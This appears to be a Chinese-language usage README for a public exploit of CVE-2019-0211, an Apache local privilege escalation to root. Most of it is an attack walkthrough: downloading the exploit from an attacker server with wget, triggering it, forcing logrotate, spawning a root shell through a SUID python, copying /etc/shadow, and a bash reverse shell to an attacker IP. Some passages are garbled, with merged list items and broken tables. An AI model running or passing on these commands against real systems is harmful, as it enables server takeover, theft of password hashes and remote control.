CVE-2019-0211 是一个影响 Apache HTTP Server 2.4.17 至 2.4.38 版本(使用 mod_prefork 和 mod_php 或 PHP-FPM)的本地权限提升漏洞。
该漏洞允许拥有 www-data shell 的攻击者通过组合使用 PHP 中的 Use-After-Free (UAF) 和破坏 Apache 的 scoreboard 来提升至 root 权限。当 Apache 执行 正常重启(例如,logrotate 在早上 6:25 触发)时,它在丢弃特权之前会调用 child_init()。如果我们能够破坏指向此函数的指针,就可以让 Apache 以 root 权限执行任意命令。
CVSS 3.1: 7.8 (高) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
| 字段 | 值 |
|---|---|
| CVE | CVE-2019-0211 |
| 产品 | Apache HTTP Server |
| 受影响版本 | 2.4.17 – 2.4.38 |
| 类型 | 本地权限提升 (CWE-269) |
| 前提条件 | 拥有 www-data shell,Apache 使用 mod_php,MPM prefork/worker/event |
| CVSS 3.1 | 7.8 高 |
| 补丁 | Apache 2.4.39 |
Apache 使用一个名为 scoreboard 的共享内存区域,其中每个子 worker 进程具有一个 process_score 结构,该结构包含一个指向 prefork_child_bucket 的 bucket 指针。这个 bucket 包含一个带有函数指针(meth->child_init())的 apr_proc_mutex_t。
当 Apache 执行 正常重启(由 logrotate 在早上 6:25 自然触发)时,它在丢弃特权之前会调用 child_init()。该利用程序:
DateInterval 对象和 JSON 序列化在 PHP 中触发 UAF/proc/self/maps 以定位 scoreboard(位于 /dev/zero 的 SHM)all_buckets 结构meth->child_init() 重定向到 system()Charles Fol — @cfreal_
原始博文:CARPE DIEM — CVE-2019-0211 Apache Local Root
www-data shell.php 文件# 1. 将利用程序上传到易受攻击的服务器
# 在攻击者机器上:
python3 -m http.server 8080
# 在服务器上(以 www-data 身份):
cd /var/www/html
wget http://你的IP:8080/carpediem.php
# 2. 执行利用程序
curl http://localhost/carpediem.php
# 3. 等待 Apache 执行正常重启
# 选项 A) 等待早上 6:25(自动 logrotate)
# 选项 B) 如果你有权限,强制执行 logrotate:
sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# 4. 验证 python3.5 现在是 SUID root
ls -la /usr/bin/python3.5
# 预期输出:-rwsr-sr-x 2 root root ...
# 5. 提升至 root
python3.5 -c 'import os; os.setuid(0); os.system("/bin/bash")'
你可以使用 cmd 参数更改以 root 身份执行的命令:
# 示例:复制 /etc/shadow
curl "http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/"
# 示例:反弹 shell
curl "http://localhost/carpediem.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/你的IP/端口+0>%261'"
| Workers |
|---|
更多的 workers 意味着更高的成功率。
hidef 或 AppArmor/SELinux 限制对 /proc/self/maps 的访问| 成功 |
|---|
| 尝试次数 |
|---|
| 失败次数 |
|---|
| 5 (默认) | 87% | 177 | 26 |
| 8 | 89% | 60 | 8 |
| 10 | 95% | 70 | 4 |